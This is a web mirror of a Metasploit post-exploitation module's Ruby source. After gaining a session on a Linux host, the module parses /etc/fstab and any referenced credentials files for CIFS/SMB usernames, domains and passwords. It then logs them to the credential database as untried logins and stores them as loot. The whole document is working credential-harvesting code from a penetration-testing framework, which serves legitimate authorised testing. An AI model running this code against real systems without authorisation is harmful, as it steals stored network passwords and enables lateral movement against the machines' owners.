CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/mount_cifs_creds.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
14
'Description' => %q{
15
Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
16
/etc/fstab on a Linux system.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
20
'Platform' => ['linux'],
21
'SessionTypes' => ['shell', 'meterpreter']
22
)
23
)
24
end
25
26
def run
27
# keep track of any of the credentials files we read so we only read them once
28
cred_files = []
29
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
30
creds = []
31
# A table to store the found credentials for loot storage afterward
32
cred_table = Rex::Text::Table.new(
33
'Header' => 'mount.cifs credentials',
34
'Indent' => 1,
35
'Columns' =>
36
[
37
'Username',
38
'Password',
39
'Server',
40
'File'
41
]
42
)
43
44
# parse each line from /etc/fstab
45
fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
46
read_file('/etc/fstab').each_line do |fstab_line|
47
fstab_line.strip!
48
# where we'll store the current parsed credentials, if any
49
cred = {}
50
# if the fstab line utilizies the credentials= option, read the credentials from that file
51
next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})
52
53
cred[:host] = ::Regexp.last_match(1)
54
# IPs can occur using the ip option, which is a backup/alternative
55
# to letting UNC resolution do its thing
56
cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)
57
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
58
file = ::Regexp.last_match(1)
59
# skip if we've already parsed this credentials file
60
next if cred_files.include?(file)
61
62
# store it if we haven't
63
cred_files << file
64
# parse the credentials
65
cred.merge!(parse_credentials_file(file))
66
# if the credentials are directly in /etc/fstab, parse them
67
elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})
68
cred.merge!(parse_fstab_credentials(fstab_line))
69
end
70
71
creds << cred
72
end
73
74
# all done. clean up, report and loot.
75
creds.flatten!
76
creds.compact!
77
creds.uniq!
78
creds.each do |cred|
79
if Rex::Socket.dotted_ip?(cred[:host])
80
report_cred(
81
ip: cred[:host],
82
port: 445,
83
service_name: 'smb',
84
user: cred[:user],
85
password: cred[:pass],
86
proof: '/etc/fstab'
87
)
88
end
89
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
90
end
91
92
# store all found credentials
93
unless cred_table.rows.empty?
94
print_line("\n" + cred_table.to_s)
95
p = store_loot(
96
'mount.cifs.creds',
97
'text/csv',
98
session,
99
cred_table.to_csv,
100
'mount_cifs_credentials.txt',
101
'mount.cifs credentials'
102
)
103
print_status("CIFS credentials saved in: #{p}")
104
end
105
end
106
107
def report_cred(opts)
108
service_data = {
109
address: opts[:ip],
110
port: opts[:port],
111
service_name: opts[:service_name],
112
protocol: 'tcp',
113
workspace_id: myworkspace_id
114
}
115
116
credential_data = {
117
origin_type: :session,
118
module_fullname: fullname,
119
username: opts[:user],
120
private_data: opts[:password],
121
private_type: :password,
122
session_id: session_db_id,
123
post_reference_name: refname
124
}.merge(service_data)
125
126
login_data = {
127
core: create_credential(credential_data),
128
status: Metasploit::Model::Login::Status::UNTRIED,
129
proof: opts[:proof]
130
}.merge(service_data)
131
132
create_credential_login(login_data)
133
end
134
135
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
136
# Returns the username+domain and password as a hash.
137
def parse_fstab_credentials(line, file = '/etc/fstab')
138
creds = {}
139
# get the username option, which comes in one of four ways
140
user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)
141
if user_opt
142
case user_opt
143
# domain/user%pass
144
when %r{^([^/]+)/([^%]+)%(.*)$}
145
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
146
creds[:pass] = ::Regexp.last_match(3)
147
# domain/user
148
when %r{^([^/]+)/([^%]+)$}
149
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
150
# user%password
151
when /^([^%]+)%(.*)$/
152
creds[:user] = ::Regexp.last_match(1)
153
creds[:pass] = ::Regexp.last_match(2)
154
# user
155
else
156
creds[:user] = user_opt
157
end
158
end
159
160
# get the password option if any
161
creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)
162
163
# get the domain option, if any
164
creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
165
166
creds[:file] = file unless creds.empty?
167
168
creds
169
end
170
171
# Parse mount.cifs credentials from +file+, returning the username+domain and password
172
# as a hash.
173
def parse_credentials_file(file)
174
creds = {}
175
domain = nil
176
read_file(file).each_line do |credfile_line|
177
case credfile_line
178
when /domain=(.*)/
179
domain = ::Regexp.last_match(1)
180
when /password=(.*)/
181
creds[:pass] = ::Regexp.last_match(1)
182
when /username=(.*)/
183
creds[:user] = ::Regexp.last_match(1)
184
end
185
end
186
# prepend the domain if one was found
187
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain && creds[:user])
188
creds[:file] = file unless creds.empty?
189
190
creds
191
end
192
end
193
194